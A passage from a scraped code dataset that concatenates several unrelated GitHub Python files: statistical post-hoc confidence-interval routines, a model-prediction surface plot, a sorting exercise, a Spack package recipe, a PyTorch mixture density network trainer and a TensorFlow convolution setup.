int(math.floor(0.5*(1.0-coverage)*len(distribution))))]\n upperCI = distribution[min(\n len(distribution) - 1,\n int(math.ceil((coverage+0.5*(1.0-coverage))*len(distribution)))\n )]\n w.write('{}\\t{}\\t{}\\t{}\\n'.format(index, dp, lowerCI, upperCI))\n\n\n# 多组posthoc test计算CI\ndef scheffe(statfile, groupfile, coverage, outfile):\n (N, dfN, dfD, group_num_dict) = group_detail(groupfile, mul=True)\n gnames = group_num_dict.keys()\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n two_hoc = list(itertools.combinations(gnames, 2))\n for one in two_hoc:\n g = list(one)\n g.sort()\n groups = '-'.join(g)\n with open(outfile + '_scheffe_%s.xls' % groups, 'w') as w:\n cv = dfN*distributions.f.ppf(coverage, dfN, dfD)\n w.write('\\t%s_effectsize\\t%s_lowerCI\\t%s_upperCI\\t%s_pvalue\\n' %\n (groups, groups, groups, groups))\n for tx in taxon_list:\n # calculate within group variance\n withinGroupVar = 0\n for name in group_num_dict.keys():\n withinGroupVar += (group_num_dict[name] -\n 1)*(sd_dict[name][tx]**2)\n withinGroupVar /= dfD\n withinGroupStdDev = math.sqrt(withinGroupVar)\n if withinGroupVar == 0:\n # degenerate case: within group variance is zero; set to 1e-6.\n withinGroupVar = 1e-6\n es = mean_dict[g[0]][i] - mean_dict[g[1]][tx]\n invSampleSize = 1.0 / \\\n (group_num_dict[g[0]]) + 1.0/(group_num_dict[g[1]])\n Fs = (es * es) / (withinGroupVar*invSampleSize)\n pValue = 1.0 - distributions.f.cdf(Fs / dfN, dfN, dfD)\n # confidence interval\n confInter = math.sqrt(cv*invSampleSize)*withinGroupStdDev\n lowerCI = es - confInter\n upperCI = es + confInter\n w.write('%s\\t%s\\t%s\\t%s\\t%s\\n' %\n (tx, es, lowerCI, upperCI, pValue))\n\n\ndef welchuncorrected(statfile, groupfile, coverage, outfile):\n (N, dfN, dfD, group_num_dict) = group_detail(groupfile, mul=True)\n gnames = group_num_dict.keys()\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n # the numbers of post-hoc test\n two_hoc = list(itertools.combinations(gnames, 2))\n for one in two_hoc:\n g = list(one)\n g.sort()\n groups = '-'.join(g)\n with open(outfile + '_welchuncorrected_%s.xls' % groups, 'w') as w:\n cv = dfN*distributions.f.ppf(coverage, dfN, dfD)\n w.write('\\t%s_effectsize\\t%s_lowerCI\\t%s_upperCI\\t%s_pvalue\\n' %\n (groups, groups, groups, groups))\n for tx in taxon_list:\n meanG1 = mean_dict[g[0]][tx]\n meanG2 = mean_dict[g[1]][tx]\n dp = meanG1 - meanG2\n varG1 = sd_dict[g[0]][tx]**2\n varG2 = sd_dict[g[1]][tx]**2\n n1 = group_num_dict[g[0]]\n n2 = group_num_dict[g[1]]\n normVarG1 = varG1 / n1\n normVarG2 = varG2 / n2\n unpooledVar = normVarG1 + normVarG2\n sqrtUnpooledVar = math.sqrt(unpooledVar)\n if unpooledVar != 0:\n # p-value\n T_statistic = -1 * abs(meanG1 - meanG2) / sqrtUnpooledVar\n dof = unpooledVar**2 / \\\n ((normVarG1**2)/(n1-1) + (normVarG2**2)/(n2-1))\n pValue = t.cdf(T_statistic, dof) * 2\n # CI\n tCritical = t.isf(0.5 * (1.0-coverage), dof)\n # 0.5 factor accounts from symmetric nature of distribution\n lowerCI = dp - tCritical*sqrtUnpooledVar\n upperCI = dp + tCritical*sqrtUnpooledVar\n else:\n if meanG1 != meanG2:\n pValue = 0.0\n # the difference (at least according to these samples) must be true as there is no variance\n else:\n pValue = 0.5\n lowerCI = dp\n upperCI = dp\n w.write('%s\\t%s\\t%s\\t%s\\t%s\\n' %\n (tx, dp, lowerCI, upperCI, pValue))\n\n\ndef tukeykramer(statfile, groupfile, coverage, outfile, preferences=None):\n qtable = QTable(preferences)\n (N, dfN, dfD, group_num_dict) = group_detail(groupfile, mul=True)\n gnames = group_num_dict.keys()\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n k = len(group_num_dict)\n q_cv = qtable.cv(1.0-coverage, k, dfD)\n cv001 = qtable.cv(0.001, k, dfD)\n cv01 = qtable.cv(0.01, k, dfD)\n cv02 = qtable.cv(0.02, k, dfD)\n cv05 = qtable.cv(0.05, k, dfD)\n cv1 = qtable.cv(0.1, k, dfD)\n two_hoc = list(itertools.combinations(gnames, 2))\n for one in two_hoc:\n g = list(one)\n g.sort()\n groups = '-'.join(g)\n with open(outfile + '_tukeykramer_%s.xls' % groups, 'w') as w:\n w.write('\\t%s_effectsize\\t%s_lowerCI\\t%s_upperCI\\t%s_pvalue\\n' %\n (groups, groups, groups, groups))\n for tx in taxon_list:\n # calculate within group variance\n withinGroupVar = 0\n for name in group_num_dict.keys():\n withinGroupVar += (group_num_dict[name] -\n 1)*(sd_dict[name][tx]**2)\n withinGroupVar /= dfD\n withinGroupStdDev = math.sqrt(withinGroupVar)\n if withinGroupStdDev == 0:\n # degenerate case: within group variance is zero; set to 1e-6.\n withinGroupStdDev = 1e-6\n sqrtInvSampleSize = math.sqrt(\n (1.0/group_num_dict[g[0]] + 1.0/group_num_dict[g[1]]) / 2.0\n )\n meanG1 = mean_dict[g[0]][tx]\n meanG2 = mean_dict[g[1]][tx]\n es = meanG1 - meanG2\n qs = abs(es) / (withinGroupStdDev*sqrtInvSampleSize)\n if qs > cv001:\n pValue = '< 0.001'\n elif qs > cv01:\n pValue = '< 0.01'\n elif qs > cv02:\n pValue = '< 0.05' # < 0.02\n elif qs > cv05:\n pValue = '< 0.05'\n elif qs > cv1:\n pValue = '< 0.1'\n else:\n pValue = '>= 0.1'\n confInter = q_cv * withinGroupStdDev * sqrtInvSampleSize\n lowerCI = es - confInter\n upperCI = es + confInter\n w.write('%s\\t%s\\t%s\\t%s\\t%s\\n' %\n (tx, es, lowerCI, upperCI, pValue))\n\n\ndef gameshowell(statfile, groupfile, coverage, outfile, preferences=None):\n qtable = QTable(preferences)\n (N, dfN, dfD, group_num_dict) = group_detail(groupfile, mul=True)\n gnames = group_num_dict.keys()\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n k = len(group_num_dict)\n two_hoc = list(itertools.combinations(gnames, 2))\n for one in two_hoc:\n g = list(one)\n g.sort()\n groups = '-'.join(g)\n with open(outfile + '_gameshowell_%s.xls' % groups, 'w') as w:\n w.write('\\t%s_effectsize\\t%s_lowerCI\\t%s_upperCI\\t%s_pvalue\\n' %\n (groups, groups, groups, groups))\n for tx in taxon_list:\n meanG1 = mean_dict[g[0]][tx]\n meanG2 = mean_dict[g[1]][tx]\n # effect size\n es = meanG1 - meanG2\n varG1 = sd_dict[g[0]][tx]**2\n varG2 = sd_dict[g[1]][tx]**2\n n1 = group_num_dict[g[0]]\n n2 = group_num_dict[g[1]]\n vn1 = varG1 / n1\n vn2 = varG2 / n2\n if vn1 == 0:\n vn1 = 1e-6\n if vn2 == 0:\n vn2 = 1e-6\n df = (vn1 + vn2) * (vn1 + vn2)\n df /= (vn1*vn1)/(n1-1) + (vn2*vn2)/(n2-1)\n q_cv = qtable.cvInterpolate(1.0-coverage, k, df)\n cv001 = qtable.cvInterpolate(0.001, k, df)\n cv01 = qtable.cvInterpolate(0.01, k, df)\n cv02 = qtable.cvInterpolate(0.02, k, df)\n cv05 = qtable.cvInterpolate(0.05, k, df)\n cv1 = qtable.cvInterpolate(0.1, k, df)\n # calculate Games-Howell unequal variance adjustment\n varAdj = math.sqrt((vn1 + vn2) / 2.0)\n # p-value\n qs = abs(es) / varAdj\n if qs > cv001:\n pValue = '< 0.001'\n elif qs > cv01:\n pValue = '< 0.01'\n elif qs > cv02:\n pValue = '< 0.05' # < 0.02\n elif qs > cv05:\n pValue = '< 0.05'\n elif qs > cv1:\n pValue = '< 0.1'\n else:\n pValue = '>= 0.1'\n # confidence interval\n confInter = q_cv * varAdj\n lowerCI = es - confInter\n upperCI = es + confInter\n w.write('%s\\t%s\\t%s\\t%s\\t%s\\n' %\n (tx, es, lowerCI, upperCI, pValue))\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/packages/bac_comp_genome/groups_CI.py","file_name":"groups_CI.py","file_ext":"py","file_size_in_byte":14189,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"9216630745","text":"import argparse\nimport os\nfrom os.path import join\nimport sys\n\nimport joblib\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nmatplotlib.use('TkAgg')\n\nsys.path.append('.')\n\nfrom project.models.common import get_errors, get_model_details_for_algorithm, get_color, init_scale_from_train_set\nfrom project.models.details import get_model_filepath, ModelDetails\nfrom project.models.scale import transform_x, inverse_transform_y\nfrom project.utils.app_ids import app_name_to_id\nfrom project.utils.logger import logger\nfrom project.definitions import ROOT_DIR\nfrom project.models.data import (\n get_data_frame,\n DataFrameColumns,\n)\n\nparser = argparse.ArgumentParser(description='Model training and validation.')\nparser.add_argument('--app_name', required=True, type=str, help='app name')\nparser.add_argument('--alg', required=True, type=str, help='algorithm')\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n logger.info(args)\n app_id = app_name_to_id.get(args.app_name, None)\n\n if app_id is None:\n raise ValueError(f'missing app \"{args.app_name}\" from app map={str(app_name_to_id)}')\n\n results_filepath = join(ROOT_DIR, '..', 'execution_results/results.csv')\n results_test_filepath = os.path.join(ROOT_DIR, '..', 'execution_results/results_test.csv')\n results_train_filepath = os.path.join(ROOT_DIR, '..', 'execution_results/results_train.csv')\n df, df_err = get_data_frame(results_filepath, app_id)\n df_test, df_test_err = get_data_frame(results_test_filepath, app_id)\n df_train, df_train_err = get_data_frame(results_train_filepath, app_id)\n\n if df_err is not None or df_test_err is not None or df_train_err is not None:\n raise ValueError(f'data frame load err')\n\n x_origin = df.loc[:, df.columns != DataFrameColumns.EXECUTION_TIME]\n x_test = df_test.loc[:, df_test.columns != DataFrameColumns.EXECUTION_TIME]\n x_train = df_train.loc[:, df_train.columns != DataFrameColumns.EXECUTION_TIME]\n y = df.loc[:, df.columns == DataFrameColumns.EXECUTION_TIME]\n y_test = df_test.loc[:, df_test.columns == DataFrameColumns.EXECUTION_TIME]\n y_train = df_train.loc[:, df_train.columns == DataFrameColumns.EXECUTION_TIME]\n x_plot_train = x_train[DataFrameColumns.OVERALL_SIZE]\n y_plot_train = x_train[DataFrameColumns.CPUS]\n z_plot_train = y_train[DataFrameColumns.EXECUTION_TIME]\n x_plot_test = x_test[DataFrameColumns.OVERALL_SIZE]\n y_plot_test = x_test[DataFrameColumns.CPUS]\n z_plot_test = y_test[DataFrameColumns.EXECUTION_TIME]\n # plot data points\n ax = plt.axes(projection='3d')\n ax.set_xlabel('over', linespacing=0.1, labelpad=-12)\n ax.set_ylabel('cpus', linespacing=0.1, labelpad=-12)\n ax.set_zlabel('t', linespacing=0.1, labelpad=-15)\n ax.tick_params(\n axis='both', # changes apply to the x-axis\n which='both', # both major and minor ticks are affected\n bottom=False, # ticks along the bottom edge are off\n top=False,\n left=False, # ticks along the bottom edge are off\n right=False,\n labelbottom=False,\n labeltop=False,\n labelright=False,\n labelleft=False\n )\n ax.dist = 8\n ax.scatter(x_plot_train, y_plot_train, z_plot_train, c='#2ca02c', alpha=1, label='training points')\n ax.scatter(x_plot_test, y_plot_test, z_plot_test, label='test points', c='#cc0000', alpha=1)\n # Load model details\n model_details = get_model_details_for_algorithm(args.app_name, args.alg)\n\n if model_details.scale:\n init_scale_from_train_set(model_details, app_id)\n\n x_test = pd.DataFrame(transform_x(x_test), columns=x_test.columns)\n x = pd.DataFrame(transform_x(x_origin), columns=x_origin.columns)\n # Load model\n model_filepath, err = get_model_filepath(args.alg, model_details)\n\n if err is not None:\n raise ValueError(err)\n\n model = joblib.load(model_filepath)\n z_all = model.predict(x)\n # Efficiency\n z_test = model.predict(x_test)\n z_test_inverse = inverse_transform_y(z_test)\n y_test_list = list(y_test[DataFrameColumns.EXECUTION_TIME])\n y_train_list = list(y_train[DataFrameColumns.EXECUTION_TIME])\n errors, errors_rel = get_errors(y_test_list, z_test_inverse)\n logger.info('############### SUMMARY ##################')\n logger.info('avg time [s] = %s' % str(sum(y_test_list) / len(y_test_list)))\n logger.info('avg error [s] = %s' % str(sum(errors) / len(errors)))\n logger.info('avg error relative [percentage] = %s' % str(sum(errors_rel) / len(errors_rel)))\n logger.info(f'best params: {str(model.get_params())}')\n # Plot prediction surface\n z_inverse = inverse_transform_y(z_all)\n x_plot = x_origin[DataFrameColumns.OVERALL_SIZE].to_numpy()\n y_plot = x_origin[DataFrameColumns.CPUS].to_numpy()\n ax.plot_trisurf(x_plot, y_plot, z_inverse, alpha=0.5, color=get_color(args.alg))\n fake_legend_point = matplotlib.lines.Line2D([0], [0], linestyle=\"solid\", c=get_color(args.alg))\n\n plt.margins()\n plt.gcf().autofmt_xdate()\n handles, labels = ax.get_legend_handles_labels()\n handles.append(fake_legend_point)\n labels.append(args.alg)\n ax.legend(handles, labels, loc='upper left')\n ax.view_init(elev=20., azim=140)\n model_scheme = ModelDetails(args.app_name, 1.0, True, False)\n fig_path = os.path.join(ROOT_DIR, 'models', 'figures', '_'.join([args.alg, args.app_name, 'surf.png']))\n plt.savefig(fig_path, bbox_inches='tight', pad_inches=0)\n","repo_name":"K4liber/execution_time_estimation","sub_path":"project/models/plot_surface_multi.py","file_name":"plot_surface_multi.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36953452166","text":"import pandas as pd\n\ndef main() :\n csv = \"cleaning_copy.csv\"\n\n file = pd.read_csv(csv, index_col=0)\n df = pd.DataFrame(file)\n\n df[\"hour\"] = \"00:00\"\n #print(df.iloc[0])\n\n print(df.iloc[4])\n del df.iloc[4]\n\n\n add_to_csv(df,csv)\n\ndef add_to_csv(df,csv) :\n\n print(\"add to csv ? y/n\")\n addcsv = input()\n if addcsv == \"y\" :\n df.to_csv(csv, index=False)\n\nmain()\n","repo_name":"MugicaLaurendi/Simplon","sub_path":"Pandas/exo01/ovni.py","file_name":"ovni.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22235106407","text":"# best average worst\r\n# O{n^2) O(n^2) O(n^2)\r\ndef exe_selection_sort(arr):\r\n for i in range( len(arr), 0, -1):\r\n max_pos = 0\r\n for j in range (0, i):\r\n if arr[j] > arr[max_pos]:\r\n max_pos = j\r\n tmp = arr[j]\r\n arr[j] = arr[max_pos]\r\n arr[max_pos]= tmp\r\n\r\ndef selection_sort(arr):\r\n\r\n # For every slot in array\r\n for fillslot in range(len(arr)-1,0,-1):\r\n positionOfMax=0\r\n\r\n # For every set of 0 to fillslot+1\r\n # find the largest element and swap it with the fillslot\r\n for location in range(1,fillslot+1):\r\n # Set maximum's location\r\n if arr[location]>arr[positionOfMax]:\r\n positionOfMax = location\r\n\r\n temp = arr[fillslot]\r\n arr[fillslot] = arr[positionOfMax]\r\n arr[positionOfMax] = temp\r\n\r\n\r\n\r\narr = [3,5,2,7,6,8,12,40,21]\r\n#selection_sort(arr)\r\nexe_selection_sort(arr)\r\nprint (arr)","repo_name":"shaokangtan/python_sandbox","sub_path":"sort and search/selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40363543646","text":"import math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n\r\ndef timeConversion(s):\r\n h=int(s[0:2])\r\n \r\n if s[-2]=='P' or s[-2]=='p':\r\n if h!=12:\r\n h=12+h\r\n else:\r\n h=h \r\n return(str(h)+s[2:8])\r\n else:\r\n if h==12:\r\n return(\"00\"+s[2:8])\r\n else:\r\n return(s[:8])\r\n\r\n \r\n # Write your code here\r\n\r\nif __name__ == '__main__':\r\n \r\n s = input()\r\n\r\n result = timeConversion(s)\r\n\r\n print(result + '\\n')\r\n\r\n\r\n","repo_name":"Rutuja-Deshmukh-2091999/MyWorkplace","sub_path":"HackerRank/TIme-format.py","file_name":"TIme-format.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25537848057","text":"import random\nimport time\nfrom multiprocessing import Pool\ndef sum_random_numbers(n):\n total_sum = 0\n for i in range(n):\n total_sum += random.randint(1, 100)\n return total_sum\ndef sequential_execution():\n start_time = time.time()\n result = sum_random_numbers(10000000)# Генерация случайные чисела\n end_time = time.time()\n print(f\"Результаты последовательного: {result}\")\n print(f\"Результаты последовательного time: {end_time - start_time}s\")\ndef parallel_execution():\n start_time = time.time()\n with Pool(processes=4) as pool:\n result = pool.map(sum_random_numbers, [2500000] * 4)# Генерация случайные чисела\n end_time = time.time()\n print(f\"Результаты параллельного: {sum(result)}\")\n print(f\"Результаты параллельного time: {end_time - start_time}s\")\nif __name__ == '__main__':\n sequential_execution()\n parallel_execution()\n","repo_name":"sem7655/seti","sub_path":"2cod.py","file_name":"2cod.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31281928800","text":"import torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\n\nimport numpy as np\nimport platform\n\n\ndef auto_select_device():\n if platform.system() == \"Darwin\" and platform.processor() == \"arm64\":\n # M-series Macs\n return torch.device(\"mps\")\n elif torch.cuda.is_available():\n return torch.device(\"cuda\")\n else:\n return torch.device(\"cpu\")\n\n\ndevice = auto_select_device()\n\n\nclass GaussianNLLLoss(nn.Module):\n def __init__(self):\n super(GaussianNLLLoss, self).__init__()\n\n def forward(self, mu, sigma, target):\n neg_log_likelihood = 0.5 * (\n torch.log(sigma**2) + ((target - mu) ** 2) / (sigma**2)\n )\n return neg_log_likelihood.mean()\n\n\nclass DataWrapper(Dataset):\n \"\"\"\n Used for wrapping raw NumPy data. Training and testing sets should be wrapped separately.\n \"\"\"\n\n def __init__(self, data, n_species):\n self.data = data\n self.n_species = n_species\n\n def __getitem__(self, index):\n \"\"\"\n Inputs contain all information: time, species concentrations, reaction rates.\n Targets only contain species concentrations.\n \"\"\"\n # species_concentration_indices = [0, 1, 2]\n species_concentration_indices = list(range(1, self.n_species + 1))\n\n inputs = self.data[index, :-1, :].astype(np.float32)\n targets = self.data[index, 1:, species_concentration_indices].astype(np.float32)\n targets = np.transpose(targets, (1, 0))\n\n return (torch.from_numpy(inputs), torch.from_numpy(targets))\n\n def __len__(self):\n return len(self.data)\n\n\nclass MDN(nn.Module):\n def __init__(\n self, input_size, hidden_size, num_layers, output_size, dropout_rate=0.0\n ):\n super(MDN, self).__init__()\n\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n\n self.lstm = nn.LSTM(\n input_size, hidden_size, num_layers, batch_first=True, dropout=dropout_rate\n )\n\n self.fc1 = nn.Linear(hidden_size, hidden_size)\n self.fc2 = nn.Linear(hidden_size, hidden_size)\n\n self.fc_out = nn.Linear(hidden_size, 2 * output_size) # mu and sigma\n\n self.relu = nn.ReLU()\n\n def forward(self, x):\n h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device)\n c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device)\n\n out, _ = self.lstm(x, (h0, c0))\n\n out = self.fc1(out)\n out = self.relu(out)\n\n out = self.fc2(out)\n out = self.relu(out)\n\n out = self.fc_out(out)\n\n mu, sigma = torch.chunk(out, 2, dim=-1)\n sigma = torch.exp(sigma)\n\n return mu, sigma\n\n\nclass MdnManager:\n def __init__(self, n_species):\n self.n_species = n_species\n # self.n_parameters = n_parameters\n\n self.model = MDN(\n # input_size=1 + self.n_species + self.n_parameters,\n input_size=1 + self.n_species,\n hidden_size=50,\n num_layers=2,\n output_size=n_species,\n ).to(device)\n\n def load_data(self, data):\n self.simulation_data = data\n\n def prepare_data_loaders(self, batch_size=64, split=0.8):\n split_index = int(len(self.simulation_data) * split)\n train_data = self.simulation_data[:split_index]\n test_data = self.simulation_data[split_index:]\n\n train_dataset = DataWrapper(train_data, self.n_species)\n test_dataset = DataWrapper(test_data, self.n_species)\n\n self.train_loader = DataLoader(\n train_dataset, batch_size=batch_size, shuffle=True\n )\n self.test_loader = DataLoader(\n test_dataset, batch_size=batch_size, shuffle=False\n )\n\n def save_model(self, filepath):\n torch.save(self.model.state_dict(), filepath)\n print(f\"Model saved to {filepath}\")\n\n def load_model(self, filepath):\n self.model.load_state_dict(torch.load(filepath, map_location=device))\n self.model.to(device) # Move the model to the device\n self.model.eval()\n print(f\"Model loaded from {filepath} and moved to {device}\")\n\n def get_model_weights(self):\n return self.model.state_dict()\n\n def save_model_to_onnx(self, destination):\n dummy_input = torch.randn(1, 1, 1 + self.n_species).to(device)\n torch.onnx.export(self.model, dummy_input, destination, verbose=True)\n print(\"Model exported to model.onnx\")\n\n def load_onnx_model(self, filepath):\n self.model = torch.jit.load(filepath, map_location=device)\n self.model.to(device)\n\n def set_model_weights(self, weights):\n self.model.load_state_dict(weights)\n\n def train(\n self,\n exec_context,\n n_epochs=20,\n # loss_criterion=nn.MSELoss(),\n loss_criterion=GaussianNLLLoss(),\n patience=5,\n ):\n optimizer = torch.optim.Adam(self.model.parameters())\n\n # train model\n best_loss = float(\"inf\")\n epochs_no_improve = 0\n\n # progress visualisation\n progress = 0\n progress_step = 100 / n_epochs / 100\n\n for epoch in range(n_epochs):\n if exec_context.is_canceled():\n print(\"Execution cancelled.\")\n break\n\n exec_context.set_progress(progress)\n for i, (inputs, targets) in enumerate(self.train_loader):\n inputs = inputs.to(device)\n targets = targets.to(device)\n\n mu, sigma = self.model(inputs) # Get mu and sigma\n loss = loss_criterion(mu, sigma, targets) # Compute Gaussian NLL\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n progress += progress_step\n\n print(f\"Epoch [{epoch+1}/{n_epochs}], Loss: {loss.item():.4f}\")\n\n if loss.item() < best_loss:\n best_loss = loss.item()\n epochs_no_improve = 0\n torch.save(self.model.state_dict(), \"model_best_state_dict.pth\")\n else:\n epochs_no_improve += 1\n\n if epochs_no_improve == patience:\n print(\"Early stopping due to no improvement in loss.\")\n break\n\n def validate(self):\n self.model.eval()\n running_loss = 0.0\n criterion = GaussianNLLLoss()\n with torch.no_grad():\n for i, (inputs, targets) in enumerate(self.test_loader):\n inputs = inputs.float().to(device)\n targets = targets.float().to(device)\n\n mu, sigma = self.model(inputs) # Get mu and sigma\n\n loss = criterion(mu, sigma, targets)\n running_loss += loss.item()\n\n average_loss = running_loss / len(self.test_loader)\n print(f\"Validation Loss of the model on test data : {average_loss}\")\n\n def simulate(\n self,\n init_conditions,\n exec_context,\n time_step,\n n_steps=10,\n n_sims_per_condition=1,\n ):\n self.model.eval()\n all_trajectories = []\n\n progress = 0\n progress_step = 100 / len(init_conditions) / n_sims_per_condition / 100\n\n for i, init_condition in enumerate(init_conditions):\n print(\n f\"Generating trajectories for init_condition {i+1} / {len(init_conditions)}\"\n )\n\n for sim in range(n_sims_per_condition):\n if exec_context.is_canceled():\n print(\"Execution cancelled.\")\n break\n\n print(f\" Simulating trajectory {sim+1} / {n_sims_per_condition}\")\n exec_context.set_progress(progress)\n\n trajectory = [init_condition[: self.n_species + 1]]\n current_state = self.convert_numpy_to_torch(init_condition)\n timestamp = 0.0\n\n for j in range(n_steps):\n mu, sigma = self.model(current_state) # Get mu and sigma\n next_state_array = (\n mu.squeeze().detach().cpu().numpy()\n ) # Use mu as the next state\n\n timestamp += time_step\n next_state_array = np.concatenate(([timestamp], next_state_array))\n trajectory.append(np.round(next_state_array))\n\n current_state = self.convert_numpy_to_torch(next_state_array)\n\n trajectory = np.array(trajectory)\n all_trajectories.append(trajectory)\n\n progress += progress_step\n\n return np.array(all_trajectories)\n\n def convert_numpy_to_torch(self, state):\n i = torch.from_numpy(state).float().to(device)\n i = torch.unsqueeze(i, 0)\n i = torch.unsqueeze(i, 0) # emulate a batch of size 1\n return i\n","repo_name":"iusethemouse/deep-abstractions","sub_path":"extension/src/utils/mdn_manager.py","file_name":"mdn_manager.py","file_ext":"py","file_size_in_byte":8842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20068887064","text":"from spack import *\nimport os\n\nclass Paraver(Package):\n \"\"\"\"A very powerful performance visualization and analysis tool\n based on traces that can be used to analyse any information that\n is expressed on its input trace format. Traces for parallel MPI,\n OpenMP and other programs can be genereated with Extrae.\"\"\"\n homepage = \"http://www.bsc.es/computer-sciences/performance-tools/paraver\"\n url = \"http://www.bsc.es/ssl/apps/performanceTools/files/paraver-sources-4.5.2.tar.gz\"\n\n version('4.5.2', 'ea463dd494519395c99ebae294edee17')\n\n depends_on(\"boost\")\n #depends_on(\"extrae\")\n depends_on(\"wx\")\n depends_on(\"wxpropgrid\")\n\n def install(self, spec, prefix):\n os.chdir(\"ptools_common_files\")\n configure(\"--prefix=%s\" % prefix)\n make()\n make(\"install\")\n\n os.chdir(\"../paraver-kernel\")\n\t\t#\"--with-extrae=%s\" % spec['extrae'].prefix,\n configure(\"--prefix=%s\" % prefix, \"--with-ptools-common-files=%s\" % prefix, \"--with-boost=%s\" % spec['boost'].prefix, \"--with-boost-serialization=boost_serialization\")\n make()\n make(\"install\")\n\n os.chdir(\"../paraver-toolset\")\n configure(\"--prefix=%s\" % prefix)\n make()\n make(\"install\")\n\n os.chdir(\"../wxparaver\")\n\t\t#\"--with-extrae=%s\" % spec['extrae'].prefix,\n configure(\"--prefix=%s\" % prefix, \"--with-paraver=%s\" % prefix, \"--with-boost=%s\" % spec['boost'].prefix, \"--with-boost-serialization=boost_serialization\", \"--with-wxdir=%s\" % spec['wx'].prefix.bin)\n make()\n make(\"install\")\n\n","repo_name":"utkarshayachit/spack","sub_path":"var/spack/packages/paraver/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"73600619467","text":"# imports\nimport time\nimport numpy as np\nfrom tensorflow import keras\nimport tensorflow as tf\nimport math\nimport sys\nassert sys.version_info >= (3, 5)\n\n\n# TensorFlow ≥2.0 is required\nassert tf.__version__ >= \"2.0\"\n\n################################ Load data and initial conditions #######################\n# Load data and set initial condition\nnx, ny = 300, 300\nT = np.zeros([nx, ny], dtype=np.float64)\ngamma = 40\n# initialise t:\nx0 = 0\ny0 = -50\nx = np.zeros([1, nx], dtype=np.float64)\ny = np.zeros([1, ny], dtype=np.float64)\n\nfor ii in range(nx):\n x[0][ii] = -150 + 300/nx*ii\n y[0][ii] = -150 + 300/nx*ii\n\n# boundary excluded: range 1-299 x 1-299, I suppose we are using Dirichlet boundary condition\nfor i in range(1, 299):\n for j in range(1, 299):\n temp1 = -((x[0][i] - x0)**2 + (y[0][j] - y0)**2)\n temp2 = 2*gamma**2\n T[i][j] = math.exp(temp1/temp2)\n\ninput_shape = (1, nx, ny, 1) # (1,300,300,1) as original problem size\n\n# default data type of np.zeros is np.float64\nmesh = np.zeros(input_shape, dtype=np.float64)\n\n# generate Gaussian with a blob\nfor i in range(nx):\n for j in range(ny):\n mesh[0][i][j][0] = T[i][j] # + Z1[i][j] + Z2[i][j] + Z3[i][j]*0.5\n\n# generate Gaussian with a blob\nfor i in range(50):\n for j in range(50):\n mesh[0][i+225][j+125][0] = mesh[0][i+225][j+125][0] + 1\n\n# values = tf.convert_to_tensor(mesh,dtype=np.float64)\nvalues = mesh\n\n################################ Initializations ####################################\nstart_time = time.perf_counter()\n\n# weight matrices\nw1 = ([[[[0.0], # upwind\n [0.2],\n [0.0]],\n\n [[0.3],\n [-1.0],\n [0.2]],\n\n [[0.0],\n [0.3],\n [0.0]]]])\n\nw2 = ([[[[0.0], # central\n [0.15],\n [0.0]],\n\n [[0.25],\n [-0.8],\n [0.15]],\n\n [[0.0],\n [0.25],\n [0.0]]]])\n\n# print(np.array(w1).shape) # shape (1,3,3,1)\ninit_kernel_1 = w1\ninit_kernel_2 = w2\n\ninit_bias = np.zeros((1,)) # filters - need change to exact value for bias\n\nkernel_initializer_1 = tf.keras.initializers.constant(\n init_kernel_1) # initializer which initialize constant tensor\nkernel_initializer_2 = tf.keras.initializers.constant(init_kernel_2)\n\nbias_initializer = tf.keras.initializers.constant(init_bias)\n\n# CNN 2D layers: now I generate CNN filters for each subdomains\n# filter 1\nCNN2D_1 = keras.models.Sequential([\n keras.layers.InputLayer(input_shape=(nx, ny, 1)),\n tf.keras.layers.Conv2D(1, kernel_size=3, strides=1, padding='SAME',\n # activation='relu',\n kernel_initializer=kernel_initializer_1,\n bias_initializer=bias_initializer),\n # tf.keras.layers.Conv2D(1, kernel_size=3, strides=1, padding='SAME',\n # activation='relu',\n # kernel_initializer=kernel_initializer_2,\n # bias_initializer=bias_initializer),\n])\n\n# filter 2\nCNN2D_2 = keras.models.Sequential([\n keras.layers.InputLayer(input_shape=(nx, ny, 1)),\n tf.keras.layers.Conv2D(1, kernel_size=3, strides=1, padding='SAME',\n # activation='relu',\n kernel_initializer=kernel_initializer_2,\n bias_initializer=bias_initializer),\n # tf.keras.layers.Conv2D(1, kernel_size=3, strides=1, padding='SAME',\n # activation='relu',\n # kernel_initializer=kernel_initializer_2,\n # bias_initializer=bias_initializer),\n])\n\n# here set up the hyperparameters to tune in the later training process\nCNN2D_1.compile(loss=\"mse\",\n optimizer=keras.optimizers.Nadam(learning_rate=0.0001, beta_1=0.9, beta_2=0.999))\nCNN2D_2.compile(loss=\"mse\",\n 